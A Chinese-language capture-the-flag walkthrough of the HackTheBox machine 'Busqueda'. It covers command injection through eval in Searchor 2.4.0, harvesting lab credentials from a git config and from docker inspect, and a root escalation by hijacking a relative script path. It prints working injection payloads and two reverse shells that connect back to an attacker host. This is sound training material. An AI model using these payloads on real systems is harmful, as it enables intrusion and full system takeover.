Skip to content

Busqueda

难度:Easy

机器作者:kavigihan

审计(Prepared By):dotguy

日期:2023 年 5 月 6 日 / 文件编号 D23.100.235

说明

简单难度的 Linux 机器,涉及 Python 模块中的命令注入漏洞。利用此漏洞,我们获得了对计算机用户 svc 的访问权限。对系统进一步枚举, 在Git 配置文件中发现凭据,并可以登录本地 Gitea 服务。此外,我们发现特定用户可以使用 root 权限执行系统检查脚本。通过利用此脚本,我们枚举了 anministrator 用户通过 Gitea 账户凭据的 Docker 容器。对 Git 存储库中的源码进一步分析,揭示了一种利用相对路径引用的方法,为我们授予具有 root 权限的 RCE 突破口。

需要的知识

  • Web 枚举
  • Linux 基础知识
  • Python Basics

学习到的知识

  • 命令注入
  • Python 代码审计
  • Docker 基础

信息收集

Nmap

运行 Nmap 扫描主机开放的端口和服务

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.208 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sV 10.10.11.208

nmap扫描结果

扫描结果显示 SSH 运行在其默认端口,并且 Apache Web 服务器正在端口 80 上运行。

HTTP

访问 80 端口后,我们被重定向到域名: searcher.htb。将该域名及对应的 IP 地址添加至 /etc/hosts 配置文件中,以允许我们在浏览器中访问。

echo "10.10.11.208 searcher.htb" | sudo tee -a /etc/hosts

searcher.htb主页

在浏览器中访问 searcher.htb 后,我们会看到“Searcher”应用程序的主页。它似乎是一个搜索引擎聚合器,允许用户在各种搜索引擎上搜索信息。

用户可以选择搜索引擎,输入查询,然后自动重定向或获取搜索结果的 URL。

searcher.htb搜索

点击 search 按钮后,网站会提供指定搜索引擎的 URL

searcher.htb搜索示例

立足点

值得注意的是,网站页脚显示它正在使用 FlaskSearchor 版本 2.4.0

searcher.htb页脚版本号

什么是 Searchor?

Searchor 是一个综合性的 Python 库,它简化了网页抓取、检索任何主题的信息以及创建搜索查询 URL 的过程。

如果我们点击网页页脚中 “Searchor 2.4.0” 上的超链接,我们将被重定向到其 GitHub 存储库,在这里我们可以检查各个发布版本的变更日志。其中提到在 2.4.2 版本中修复了一个优先漏洞。该网站使用的版本是 2.4.0,这意味着它可能存在漏洞。

searchor2.4.0github漏洞页面

查看补丁,我们可以看到拉取请求是为了修补搜索功能中存在的命令注入漏洞,该漏洞是由于对未经净化的用户输入使用了 eval 语句而导致的。

searchor2.4.0漏洞补丁截图

我们可以查看具体的 commit,其中显示了 main.py 文件中被替换的 eval 语句。

searchor存储库 commit

exploit

我们除了利用现成的exploit,也可以在本地计算机上下载 Searchor 2.4.0 模块并分析其代码。

```shell wget https://github.com/ArjunSharda/Searchor/archive/refs/tags/v2.4.0.zip unzip v2.4.0.zip


检查 `main.py` 文件,发现与提交类似,用户输入直接传递给 `eval` 语句,没有任何校验。

```shell
nano Searchor-2.4.0/src/searchor/main.py

searchor源码分析1

search() 函数接受四个参数,我们可以控制其中两个: enginequery

searchor search Google "hackthebox"

search()参数执行

在 CLI 工具中,enginequery 参数分别对应于第二个和第三个参数。关于命令注入,似乎可以注入两个参数,因为它们直接传递给 eval 语句。但是,在应用程序内,如果尝试将引擎修改为预定义引擎列表中不存在的选项,则会遇到错误。

因此,我们必须重点利用查询参数作为注入点。值得注意的是,eval 语句通常不支持执行多行,尽管有一些技术可以实现这一点。此外,确保我们的有效负载不会破坏 eval 语句的前面部分也至关重要。考虑到所有这些因素,我们可以使用如下所示的有效负载来利用此漏洞并实现命令注入。

') + str(__import__('os').system('id')) #

为了确保 eval 语句剩余部分的执行,我们必须使用 + 运算符单独连接另一行的输出。需要注意的是,末尾的 # 符号充当注释,忽略其后面的任何内容。

然后评估的整个命令将如下所示: shell url = eval( Engine.<some_engine>.search('') + str(__import__('os').system('id')) #', copy_url={copy}, open_web={open})" )

让我们首先在本地测试有效负载并验证代码注入是否按预期工作。

searchor search Google "')+ str(__import__('os').system'id'))#"

searcher命令注入payload执行结果

id 命令成功执行并返回,说明我们的注入成功了。为了验证远程主机上的代码执行,我们继续在 Web 应用程序的 query 参数中提交 Payload。

')+ str(__import__('os').system('id'))#

searcher命令注入远程payload

我们以用户 svc 的身份执行代码

searcher命令注入远程payload执行结果

为了将其利用到交互式 shell 中,我们首先在本地计算机上的端口 1337 上启动 Netcat 侦听。

nc -nvlp 1337

然后,我们在 Searcher 网站的 query 参数中发送以下 Base64 编码的反向 shell 负载。

')+ str(__import__('os').system('echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNS8xMzM3IDA+JjE=|base64 -d|bash'))#

您可以使用 revshells 等网站生成适合您的 IP 地址的编码有效负载。

我们在 Netcat 监听器上获得了一个反向 shell。

nc-nlvp1337

用户标志可以在 /home/svc/user.txt 获取。

cat /home/svc/user.txt

权限提升

通过枚举远程主机上的文件,我们可以识别存储在 /var/www/app/.git/config 文件中的凭证对 cody:jh1usoih2bkjaspwe92 。它还包含对 gitea.searcher.htb 子域的引用。

cat /var/www/app/.git/config

var/www/app/.git/config

我们可以尝试使用获得的密码 jh1usoih2bkjaspwe92svc 用户身份通过​​ SSH 登录。

ssh svc@10.10.11.208

sshsvc

回到 gitea.searcher.htb 域,让我们在 /etc/hosts 文件中为其添加一个条目。

echo "10.10.11.208 gitea.searcher.htb" | sudo tee -a /etc/hosts

在浏览器中访问 gitea.searcher.htb 后,我们会看到 Gitea 主页。

什么是 Gitea?

Gitea 是一个自托管、轻量级、开源的 Git 服务,提供用于管理 Git 存储库的 Web 界面。它是一个版本控制服务器,类似于 GitHubGitLab 等流行平台,但被设计为轻量级、易于安装且消耗更少的系统资源。

Gitea主页

在“Explore”部分下,可以看到 Gitea 应用程序上有 2 个用户,分别是 codyadministrator

Gitea用户

我们可以使用之前获得的凭据以用户 cody 身份登录,却发现名为 Searcher_site 的私有存储库,其中包含 Searcher Web 应用程序的源代码。

searcher Web源码

由于我们没有 andminisrator 用户的密码,因此我们无法检查与该用户关联的私有存储库。尽管如此,如果我们稍后获得密码,记住重新访问这一点是值得的。继续,我们可以检查用户 svc 的 sudo 权限,发现我们可以以 root 身份运行命令 /usr/bin/python3 /opt/scripts/system-checkup.py *

sudo -l

sudo-l

当尝试读取文件 /opt/scripts/system-checkup.py 时,由于 svc 用户权限不足,我们收到 permission denied 错误。 svc 用户只拥有该文件的执行权限,没有读取权限。

ls -l /opt/scripts/system-checkup.py

ls-system-chekkup.py

执行 Python 脚本后,会出现一个显示可用参数的帮助菜单。

sudo /usr/bin/python3 /opt/scripts/system-checkup.py *

system-checkup *执行

检查提供的参数,/opt/scripts/system-checkup.py 脚本似乎允许我们查看现有的 Docker 容器。使用 docker-ps 参数,它会列出所有正在运行的容器。

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps

system-checktup-docker-ps

它类似于 Docker 实用程序的 docker ps 命令的输出。当使用 docker-inspect 参数执行脚本时,使用信息表明它需要两个特定参数: formatcontainer name

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect

system-checkup-docker-inspect

尽管我们知道容器名称,但我们不知道这个格式参数指的是什么。但是,考虑到使用 docker-ps 参数和 docker ps 命令的脚本输出之间的相似性,可以合理地假设脚本中的 docker-inspect 参数利用 Docker 实用程序的 docker inspect 命令。因此,让我们看一下 docker inform 命令的帮助菜单。

我们可以在这里查看docker inspect命令的使用信息。

dockerinspect命令options

根据此处提供的信息,Docker 利用 Go 模板使用户能够修改特定命令的输出格式。该网站特别提到了 {{json .}} 格式化模板的用法,该模板以 JSON 格式呈现有关容器的所有信息。因此,我们可以使用 {{json .}} 作为脚本的 docker-inspect 参数所需的格式参数。

为了方便读取 JSON 输出,我们可以使用 jq 将 JSON 输出解析为可读格式。可以使用以下命令安装 jq,但是它已经存在于目标计算机上。

sudo apt-get -y install jq

现在让我们使用 docker-inspect 指定符合格式的参数运行脚本。

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq

我们可以检查一下,发现 Env 部分中硬编码的 Gitea 密码,该部分由环境变量组成。

[** SNIP **]
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"USER=git",
"GITEA_CUSTOM=/data/gitea"
 ],
"Cmd": [
"/bin/s6-svscan",
"/etc/s6"
 ],
[** SNIP **]

使用获得的密码 yuiu1hoiu4i5ho1uh ,我们可以以 administrator 用户身份登录 Gitea 应用程序。

现在,我们可以枚举上述私有存储库来查找 scripts 存储库,其中包含我们在远程主机的 /opt/scripts 目录中看到的文件。

administrator-scripts

因此,我们应该检查 system-checkup.py 文件,因为我们能够在远程主机上以 root 权限执行 /opt/scripts/system-checkup.py 文件。在分析代码的过程中,我们发现我们尚未检查的 full-checkup 参数执行了一个名为 full-checkup.sh 的 bash 脚本。

full-checkup.sh

特别有趣的是,system-checkup.py 脚本使用相对路径 ./full-checkup.sh 引用 full-checkup.sh 脚本,而不是使用绝对路径,例如 /opt/scripts/fullcheckup.sh ,在 system-checkup.py 文件中。这表明 system-checkup.py 脚本尝试从执行 system-checkup.py 的目录执行 full-checkup.sh

full-checkup.sh 文件所在的 /opt/scripts/ 目录运行时,system-checkup.py 成功执行。

cd /opt/scripts/
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

system-checkup.py执行

我们现在尝试通过从包含我们自己的恶意 full-checkup.sh 脚本的另一个目录执行系统检查脚本来利用对 full-checkup.sh 的相对引用。

因此,让我们创建一个文件 /tmp/full-checkup.sh 并向其中插入反向 shell Payload。

echo -en "#! /bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 9001 >/tmp/f" > /tmp/full-checkup.sh

然后我们赋予它执行权限

chmod +x /tmp/full-checkup.sh

接下来,我们在本地计算机的端口 9001 上启动 Netcat 侦听器以接收反向 shell。

nc -nvlp 9001

最后,我们在远程主机上的 /tmp 目录中运行以下命令来触发反向 shell。

cd /tmp
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

在远程主机上运行上述命令后,我们会在侦听器端口 9001 上以 root 用户身份收到一个 shell。

getshell

root flag 在 /root/root.txt 获取。

cat /root/root.txt